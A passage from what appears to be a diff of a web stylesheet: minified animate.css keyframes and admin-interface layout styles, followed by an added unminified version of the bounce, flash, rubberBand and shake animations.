bottom;-webkit-transform:rotate3d(0,0,1,-45deg);transform:rotate3d(0,0,1,-45deg);opacity:0}to{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}}.rotateInDownLeft{-webkit-animation-name:rotateInDownLeft;animation-name:rotateInDownLeft}@-webkit-keyframes rotateInDownRight{from{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:rotate3d(0,0,1,45deg);transform:rotate3d(0,0,1,45deg);opacity:0}to{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}}@keyframes rotateInDownRight{from{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:rotate3d(0,0,1,45deg);transform:rotate3d(0,0,1,45deg);opacity:0}to{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}}.rotateInDownRight{-webkit-animation-name:rotateInDownRight;animation-name:rotateInDownRight}@-webkit-keyframes rotateInUpLeft{from{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:rotate3d(0,0,1,45deg);transform:rotate3d(0,0,1,45deg);opacity:0}to{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}}@keyframes rotateInUpLeft{from{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:rotate3d(0,0,1,45deg);transform:rotate3d(0,0,1,45deg);opacity:0}to{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}}.rotateInUpLeft{-webkit-animation-name:rotateInUpLeft;animation-name:rotateInUpLeft}@-webkit-keyframes rotateInUpRight{from{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:rotate3d(0,0,1,-90deg);transform:rotate3d(0,0,1,-90deg);opacity:0}to{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}}@keyframes rotateInUpRight{from{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:rotate3d(0,0,1,-90deg);transform:rotate3d(0,0,1,-90deg);opacity:0}to{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}}.rotateInUpRight{-webkit-animation-name:rotateInUpRight;animation-name:rotateInUpRight}@-webkit-keyframes rotateOut{from{-webkit-transform-origin:center;transform-origin:center;opacity:1}to{-webkit-transform-origin:center;transform-origin:center;-webkit-transform:rotate3d(0,0,1,200deg);transform:rotate3d(0,0,1,200deg);opacity:0}}@keyframes rotateOut{from{-webkit-transform-origin:center;transform-origin:center;opacity:1}to{-webkit-transform-origin:center;transform-origin:center;-webkit-transform:rotate3d(0,0,1,200deg);transform:rotate3d(0,0,1,200deg);opacity:0}}.rotateOut{-webkit-animation-name:rotateOut;animation-name:rotateOut}@-webkit-keyframes rotateOutDownLeft{from{-webkit-transform-origin:left bottom;transform-origin:left bottom;opacity:1}to{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:rotate3d(0,0,1,45deg);transform:rotate3d(0,0,1,45deg);opacity:0}}@keyframes rotateOutDownLeft{from{-webkit-transform-origin:left bottom;transform-origin:left bottom;opacity:1}to{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:rotate3d(0,0,1,45deg);transform:rotate3d(0,0,1,45deg);opacity:0}}.rotateOutDownLeft{-webkit-animation-name:rotateOutDownLeft;animation-name:rotateOutDownLeft}@-webkit-keyframes rotateOutDownRight{from{-webkit-transform-origin:right bottom;transform-origin:right bottom;opacity:1}to{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:rotate3d(0,0,1,-45deg);transform:rotate3d(0,0,1,-45deg);opacity:0}}@keyframes rotateOutDownRight{from{-webkit-transform-origin:right bottom;transform-origin:right bottom;opacity:1}to{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:rotate3d(0,0,1,-45deg);transform:rotate3d(0,0,1,-45deg);opacity:0}}.rotateOutDownRight{-webkit-animation-name:rotateOutDownRight;animation-name:rotateOutDownRight}@-webkit-keyframes rotateOutUpLeft{from{-webkit-transform-origin:left bottom;transform-origin:left bottom;opacity:1}to{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:rotate3d(0,0,1,-45deg);transform:rotate3d(0,0,1,-45deg);opacity:0}}@keyframes rotateOutUpLeft{from{-webkit-transform-origin:left bottom;transform-origin:left bottom;opacity:1}to{-webkit-transform-origin:left bottom;transform-origin:left bottom;-webkit-transform:rotate3d(0,0,1,-45deg);transform:rotate3d(0,0,1,-45deg);opacity:0}}.rotateOutUpLeft{-webkit-animation-name:rotateOutUpLeft;animation-name:rotateOutUpLeft}@-webkit-keyframes rotateOutUpRight{from{-webkit-transform-origin:right bottom;transform-origin:right bottom;opacity:1}to{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:rotate3d(0,0,1,90deg);transform:rotate3d(0,0,1,90deg);opacity:0}}@keyframes rotateOutUpRight{from{-webkit-transform-origin:right bottom;transform-origin:right bottom;opacity:1}to{-webkit-transform-origin:right bottom;transform-origin:right bottom;-webkit-transform:rotate3d(0,0,1,90deg);transform:rotate3d(0,0,1,90deg);opacity:0}}.rotateOutUpRight{-webkit-animation-name:rotateOutUpRight;animation-name:rotateOutUpRight}@-webkit-keyframes hinge{0%{-webkit-transform-origin:top left;transform-origin:top left;-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}20%,60%{-webkit-transform:rotate3d(0,0,1,80deg);transform:rotate3d(0,0,1,80deg);-webkit-transform-origin:top left;transform-origin:top left;-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}40%,80%{-webkit-transform:rotate3d(0,0,1,60deg);transform:rotate3d(0,0,1,60deg);-webkit-transform-origin:top left;transform-origin:top left;-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out;opacity:1}to{-webkit-transform:translate3d(0,700px,0);transform:translate3d(0,700px,0);opacity:0}}@keyframes hinge{0%{-webkit-transform-origin:top left;transform-origin:top left;-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}20%,60%{-webkit-transform:rotate3d(0,0,1,80deg);transform:rotate3d(0,0,1,80deg);-webkit-transform-origin:top left;transform-origin:top left;-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out}40%,80%{-webkit-transform:rotate3d(0,0,1,60deg);transform:rotate3d(0,0,1,60deg);-webkit-transform-origin:top left;transform-origin:top left;-webkit-animation-timing-function:ease-in-out;animation-timing-function:ease-in-out;opacity:1}to{-webkit-transform:translate3d(0,700px,0);transform:translate3d(0,700px,0);opacity:0}}.hinge{-webkit-animation-duration:2s;animation-duration:2s;-webkit-animation-name:hinge;animation-name:hinge}@-webkit-keyframes jackInTheBox{from{opacity:0;-webkit-transform:scale(.1) rotate(30deg);transform:scale(.1) rotate(30deg);-webkit-transform-origin:center bottom;transform-origin:center bottom}50%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}70%{-webkit-transform:rotate(3deg);transform:rotate(3deg)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes jackInTheBox{from{opacity:0;-webkit-transform:scale(.1) rotate(30deg);transform:scale(.1) rotate(30deg);-webkit-transform-origin:center bottom;transform-origin:center bottom}50%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}70%{-webkit-transform:rotate(3deg);transform:rotate(3deg)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}.jackInTheBox{-webkit-animation-name:jackInTheBox;animation-name:jackInTheBox}@-webkit-keyframes rollIn{from{opacity:0;-webkit-transform:translate3d(-100%,0,0) rotate3d(0,0,1,-120deg);transform:translate3d(-100%,0,0) rotate3d(0,0,1,-120deg)}to{opacity:1;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes rollIn{from{opacity:0;-webkit-transform:translate3d(-100%,0,0) rotate3d(0,0,1,-120deg);transform:translate3d(-100%,0,0) rotate3d(0,0,1,-120deg)}to{opacity:1;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.rollIn{-webkit-animation-name:rollIn;animation-name:rollIn}@-webkit-keyframes rollOut{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(100%,0,0) rotate3d(0,0,1,120deg);transform:translate3d(100%,0,0) rotate3d(0,0,1,120deg)}}@keyframes rollOut{from{opacity:1}to{opacity:0;-webkit-transform:translate3d(100%,0,0) rotate3d(0,0,1,120deg);transform:translate3d(100%,0,0) rotate3d(0,0,1,120deg)}}.rollOut{-webkit-animation-name:rollOut;animation-name:rollOut}@-webkit-keyframes zoomIn{from{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}50%{opacity:1}}@keyframes zoomIn{from{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}50%{opacity:1}}.zoomIn{-webkit-animation-name:zoomIn;animation-name:zoomIn}@-webkit-keyframes zoomInDown{from{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,-1000px,0);transform:scale3d(.1,.1,.1) translate3d(0,-1000px,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,60px,0);transform:scale3d(.475,.475,.475) translate3d(0,60px,0);-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}@keyframes zoomInDown{from{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,-1000px,0);transform:scale3d(.1,.1,.1) translate3d(0,-1000px,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,60px,0);transform:scale3d(.475,.475,.475) translate3d(0,60px,0);-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}.zoomInDown{-webkit-animation-name:zoomInDown;animation-name:zoomInDown}@-webkit-keyframes zoomInLeft{from{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(-1000px,0,0);transform:scale3d(.1,.1,.1) translate3d(-1000px,0,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(10px,0,0);transform:scale3d(.475,.475,.475) translate3d(10px,0,0);-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}@keyframes zoomInLeft{from{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(-1000px,0,0);transform:scale3d(.1,.1,.1) translate3d(-1000px,0,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(10px,0,0);transform:scale3d(.475,.475,.475) translate3d(10px,0,0);-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}.zoomInLeft{-webkit-animation-name:zoomInLeft;animation-name:zoomInLeft}@-webkit-keyframes zoomInRight{from{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(1000px,0,0);transform:scale3d(.1,.1,.1) translate3d(1000px,0,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(-10px,0,0);transform:scale3d(.475,.475,.475) translate3d(-10px,0,0);-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}@keyframes zoomInRight{from{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(1000px,0,0);transform:scale3d(.1,.1,.1) translate3d(1000px,0,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(-10px,0,0);transform:scale3d(.475,.475,.475) translate3d(-10px,0,0);-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}.zoomInRight{-webkit-animation-name:zoomInRight;animation-name:zoomInRight}@-webkit-keyframes zoomInUp{from{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,1000px,0);transform:scale3d(.1,.1,.1) translate3d(0,1000px,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}@keyframes zoomInUp{from{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,1000px,0);transform:scale3d(.1,.1,.1) translate3d(0,1000px,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}60%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}.zoomInUp{-webkit-animation-name:zoomInUp;animation-name:zoomInUp}@-webkit-keyframes zoomOut{from{opacity:1}50%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}to{opacity:0}}@keyframes zoomOut{from{opacity:1}50%{opacity:0;-webkit-transform:scale3d(.3,.3,.3);transform:scale3d(.3,.3,.3)}to{opacity:0}}.zoomOut{-webkit-animation-name:zoomOut;animation-name:zoomOut}@-webkit-keyframes zoomOutDown{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}to{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,2000px,0);transform:scale3d(.1,.1,.1) translate3d(0,2000px,0);-webkit-transform-origin:center bottom;transform-origin:center bottom;-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}@keyframes zoomOutDown{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);transform:scale3d(.475,.475,.475) translate3d(0,-60px,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}to{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,2000px,0);transform:scale3d(.1,.1,.1) translate3d(0,2000px,0);-webkit-transform-origin:center bottom;transform-origin:center bottom;-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}.zoomOutDown{-webkit-animation-name:zoomOutDown;animation-name:zoomOutDown}@-webkit-keyframes zoomOutLeft{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(42px,0,0);transform:scale3d(.475,.475,.475) translate3d(42px,0,0)}to{opacity:0;-webkit-transform:scale(.1) translate3d(-2000px,0,0);transform:scale(.1) translate3d(-2000px,0,0);-webkit-transform-origin:left center;transform-origin:left center}}@keyframes zoomOutLeft{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(42px,0,0);transform:scale3d(.475,.475,.475) translate3d(42px,0,0)}to{opacity:0;-webkit-transform:scale(.1) translate3d(-2000px,0,0);transform:scale(.1) translate3d(-2000px,0,0);-webkit-transform-origin:left center;transform-origin:left center}}.zoomOutLeft{-webkit-animation-name:zoomOutLeft;animation-name:zoomOutLeft}@-webkit-keyframes zoomOutRight{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(-42px,0,0);transform:scale3d(.475,.475,.475) translate3d(-42px,0,0)}to{opacity:0;-webkit-transform:scale(.1) translate3d(2000px,0,0);transform:scale(.1) translate3d(2000px,0,0);-webkit-transform-origin:right center;transform-origin:right center}}@keyframes zoomOutRight{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(-42px,0,0);transform:scale3d(.475,.475,.475) translate3d(-42px,0,0)}to{opacity:0;-webkit-transform:scale(.1) translate3d(2000px,0,0);transform:scale(.1) translate3d(2000px,0,0);-webkit-transform-origin:right center;transform-origin:right center}}.zoomOutRight{-webkit-animation-name:zoomOutRight;animation-name:zoomOutRight}@-webkit-keyframes zoomOutUp{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,60px,0);transform:scale3d(.475,.475,.475) translate3d(0,60px,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}to{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,-2000px,0);transform:scale3d(.1,.1,.1) translate3d(0,-2000px,0);-webkit-transform-origin:center bottom;transform-origin:center bottom;-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}@keyframes zoomOutUp{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475) translate3d(0,60px,0);transform:scale3d(.475,.475,.475) translate3d(0,60px,0);-webkit-animation-timing-function:cubic-bezier(.55,.055,.675,.19);animation-timing-function:cubic-bezier(.55,.055,.675,.19)}to{opacity:0;-webkit-transform:scale3d(.1,.1,.1) translate3d(0,-2000px,0);transform:scale3d(.1,.1,.1) translate3d(0,-2000px,0);-webkit-transform-origin:center bottom;transform-origin:center bottom;-webkit-animation-timing-function:cubic-bezier(.175,.885,.32,1);animation-timing-function:cubic-bezier(.175,.885,.32,1)}}.zoomOutUp{-webkit-animation-name:zoomOutUp;animation-name:zoomOutUp}@-webkit-keyframes slideInDown{from{-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0);visibility:visible}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes slideInDown{from{-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0);visibility:visible}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.slideInDown{-webkit-animation-name:slideInDown;animation-name:slideInDown}@-webkit-keyframes slideInLeft{from{-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0);visibility:visible}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes slideInLeft{from{-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0);visibility:visible}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.slideInLeft{-webkit-animation-name:slideInLeft;animation-name:slideInLeft}@-webkit-keyframes slideInRight{from{-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0);visibility:visible}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes slideInRight{from{-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0);visibility:visible}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.slideInRight{-webkit-animation-name:slideInRight;animation-name:slideInRight}@-webkit-keyframes slideInUp{from{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}@keyframes slideInUp{from{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}}.slideInUp{-webkit-animation-name:slideInUp;animation-name:slideInUp}@-webkit-keyframes slideOutDown{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}to{visibility:hidden;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes slideOutDown{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}to{visibility:hidden;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}.slideOutDown{-webkit-animation-name:slideOutDown;animation-name:slideOutDown}@-webkit-keyframes slideOutLeft{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}to{visibility:hidden;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}}@keyframes slideOutLeft{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}to{visibility:hidden;-webkit-transform:translate3d(-100%,0,0);transform:translate3d(-100%,0,0)}}.slideOutLeft{-webkit-animation-name:slideOutLeft;animation-name:slideOutLeft}@-webkit-keyframes slideOutRight{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}to{visibility:hidden;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}}@keyframes slideOutRight{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}to{visibility:hidden;-webkit-transform:translate3d(100%,0,0);transform:translate3d(100%,0,0)}}.slideOutRight{-webkit-animation-name:slideOutRight;animation-name:slideOutRight}@-webkit-keyframes slideOutUp{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}to{visibility:hidden;-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}}@keyframes slideOutUp{from{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}to{visibility:hidden;-webkit-transform:translate3d(0,-100%,0);transform:translate3d(0,-100%,0)}}.slideOutUp{-webkit-animation-name:slideOutUp;animation-name:slideOutUp}.animated{-webkit-animation-duration:1s;animation-duration:1s;-webkit-animation-fill-mode:both;animation-fill-mode:both}.animated.infinite{-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite}.animated.delay-1s{-webkit-animation-delay:1s;animation-delay:1s}.animated.delay-2s{-webkit-animation-delay:2s;animation-delay:2s}.animated.delay-3s{-webkit-animation-delay:3s;animation-delay:3s}.animated.delay-4s{-webkit-animation-delay:4s;animation-delay:4s}.animated.delay-5s{-webkit-animation-delay:5s;animation-delay:5s}.animated.fast{-webkit-animation-duration:.8s;animation-duration:.8s}.animated.faster{-webkit-animation-duration:.5s;animation-duration:.5s}.animated.slow{-webkit-animation-duration:2s;animation-duration:2s}.animated.slower{-webkit-animation-duration:3s;animation-duration:3s}@media (print),(prefers-reduced-motion:reduce){.animated{-webkit-animation-duration:1ms!important;animation-duration:1ms!important;-webkit-transition-duration:1ms!important;transition-duration:1ms!important;-webkit-animation-iteration-count:1!important;animation-iteration-count:1!important}}body,html{background:var(--color-body-bg);color:var(--color-text)}[v-cloak]{display:none}.ub-lister-table-container{background:#fff;padding:.5rem;border-radius:.2rem}.ub-lister-table-container .toolbox-container{float:right}.ub-lister-table-container .table-addition-container:has(*){margin-bottom:.5rem}.ub-lister-table-container .table-container{width:100%}.ub-lister-table-container .page-container .layui-laypage{margin:.5rem 0 .3rem 0}.ub-lister-table-container .page-container .layui-laypage span{background:0 0}.ub-lister-table-container .page-container .layui-laypage .layui-laypage-spr{background:#fff}.ub-upload-button{overflow:hidden;position:relative;height:1.6rem}.ub-upload-button.flat{margin:0 auto}.ub-upload-button.flat .webuploader-container{display:block}.ub-upload-button.flat .webuploader-container .webuploader-pick{display:block}.ub-upload-button.queue{overflow:auto;height:auto}.ub-upload-button.queue .webuploader-list{position:static;max-height:10rem;overflow-y:auto;border:1px solid var(--color-body-line);background:var(--color-body-bg);padding:.25rem}.ub-upload-button.queue .webuploader-list::-webkit-scrollbar-track{background-color:var(--color-scrollbar-bg);border:none}.ub-upload-button.queue .webuploader-list::-webkit-scrollbar{width:.25rem;height:.25rem;background-color:var(--scolor-scrollbar-thumb)}.ub-upload-button.queue .webuploader-list::-webkit-scrollbar-thumb{border-radius:.5rem;background-color:var(--scolor-scrollbar-thumb)}.ub-upload-button.queue .webuploader-list>li{margin-bottom:.5rem;padding:.25rem}.ub-upload-button.queue .webuploader-list>li:last-child{margin-bottom:0}.ub-upload-button.queue .webuploader-list>li .progress-box{height:auto}.ub-upload-button.queue .webuploader-list>li .progress-info{display:block}.ub-upload-button .webuploader-pick{display:inline-block}.ub-upload-button .webuploader-pick-hover .btn{outline-color:var(--color-primary);color:var(--color-primary)}.ub-upload-button .webuploader-container{display:inline-block}.ub-upload-button .webuploader-list{position:absolute;bottom:1px;left:2px;right:2px;border:none;padding:0}.ub-upload-button .webuploader-list>li{padding:0;border:0}.ub-upload-button .webuploader-list>li .progress-info{display:none}@media screen and (max-width:40rem){body>:not(.ub-panel-dialog) .ub-form .line{padding:.5rem}body>:not(.ub-panel-dialog) .ub-form .line .label{float:none;margin:0;width:100%;text-align:left;line-height:inherit!important;padding-bottom:.1rem}}.ub-field-cascade-group.cascade-group-hide{visibility:hidden;height:0;width:100%;overflow:hidden}.ub-status-text{display:inline-block;margin-right:.5rem}.ub-text-ajax-request{display:inline-block;margin-right:.5rem}.ub-text-dialog-request{display:inline-block;margin-right:.5rem}.ub-text-action{display:inline-block;margin-right:.5rem}.ub-text-link{display:inline-block;margin-right:.5rem}.ub-button-ajax-request{display:inline-block}.ub-button-dialog-request{display:inline-block} \ No newline at end of file + */ + +@-webkit-keyframes bounce { + 20%, + 53%, + 80%, + from, + to { + -webkit-animation-timing-function: cubic-bezier(.215, .61, .355, 1); + animation-timing-function: cubic-bezier(.215, .61, .355, 1); + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0) + } + 40%, + 43% { + -webkit-animation-timing-function: cubic-bezier(.755, .05, .855, .06); + animation-timing-function: cubic-bezier(.755, .05, .855, .06); + -webkit-transform: translate3d(0, -30px, 0); + transform: translate3d(0, -30px, 0) + } + 70% { + -webkit-animation-timing-function: cubic-bezier(.755, .05, .855, .06); + animation-timing-function: cubic-bezier(.755, .05, .855, .06); + -webkit-transform: translate3d(0, -15px, 0); + transform: translate3d(0, -15px, 0) + } + 90% { + -webkit-transform: translate3d(0, -4px, 0); + transform: translate3d(0, -4px, 0) + } +} + +@keyframes bounce { + 20%, + 53%, + 80%, + from, + to { + -webkit-animation-timing-function: cubic-bezier(.215, .61, .355, 1); + animation-timing-function: cubic-bezier(.215, .61, .355, 1); + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0) + } + 40%, + 43% { + -webkit-animation-timing-function: cubic-bezier(.755, .05, .855, .06); + animation-timing-function: cubic-bezier(.755, .05, .855, .06); + -webkit-transform: translate3d(0, -30px, 0); + transform: translate3d(0, -30px, 0) + } + 70% { + -webkit-animation-timing-function: cubic-bezier(.755, .05, .855, .06); + animation-timing-function: cubic-bezier(.755, .05, .855, .06); + -webkit-transform: translate3d(0, -15px, 0); + transform: translate3d(0, -15px, 0) + } + 90% { + -webkit-transform: translate3d(0, -4px, 0); + transform: translate3d(0, -4px, 0) + } +} + +.bounce { + -webkit-animation-name: bounce; + animation-name: bounce; + -webkit-transform-origin: center bottom; + transform-origin: center bottom +} + +@-webkit-keyframes flash { + 50%, + from, + to { + opacity: 1 + } + 25%, + 75% { + opacity: 0 + } +} + +@keyframes flash { + 50%, + from, + to { + opacity: 1 + } + 25%, + 75% { + opacity: 0 + } +} + +.flash { + -webkit-animation-name: flash; + animation-name: flash +} + +@-webkit-keyframes rubberBand { + from { + -webkit-transform: scale3d(1, 1, 1); + transform: scale3d(1, 1, 1) + } + 30% { + -webkit-transform: scale3d(1.25, .75, 1); + transform: scale3d(1.25, .75, 1) + } + 40% { + -webkit-transform: scale3d(.75, 1.25, 1); + transform: scale3d(.75, 1.25, 1) + } + 50% { + -webkit-transform: scale3d(1.15, .85, 1); + transform: scale3d(1.15, .85, 1) + } + 65% { + -webkit-transform: scale3d(.95, 1.05, 1); + transform: scale3d(.95, 1.05, 1) + } + 75% { + -webkit-transform: scale3d(1.05, .95, 1); + transform: scale3d(1.05, .95, 1) + } + to { + -webkit-transform: scale3d(1, 1, 1); + transform: scale3d(1, 1, 1) + } +} + +@keyframes rubberBand { + from { + -webkit-transform: scale3d(1, 1, 1); + transform: scale3d(1, 1, 1) + } + 30% { + -webkit-transform: scale3d(1.25, .75, 1); + transform: scale3d(1.25, .75, 1) + } + 40% { + -webkit-transform: scale3d(.75, 1.25, 1); + transform: scale3d(.75, 1.25, 1) + } + 50% { + -webkit-transform: scale3d(1.15, .85, 1); + transform: scale3d(1.15, .85, 1) + } + 65% { + -webkit-transform: scale3d(.95, 1.05, 1); + transform: scale3d(.95, 1.05, 1) + } + 75% { + -webkit-transform: scale3d(1.05, .95, 1); + transform: scale3d(1.05, .95, 1) + } + to { + -webkit-transform: scale3d(1, 1, 1); + transform: scale3d(1, 1, 1) + } +} + +.rubberBand { + -webkit-animation-name: rubberBand; + animation-name: rubberBand +} + +@-webkit-keyframes shake { + from, + to { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0) + } + 10%, + 30%, + 50%, + 70%, + 90% { + -webkit-transform: translate3d(-10px, 0, 0); + transform: translate3d(-10px, 0, 0) + } + 20%, + 40%, + 60%, + 80% { + -webkit-transform: translate3d(10px, 0, 0); 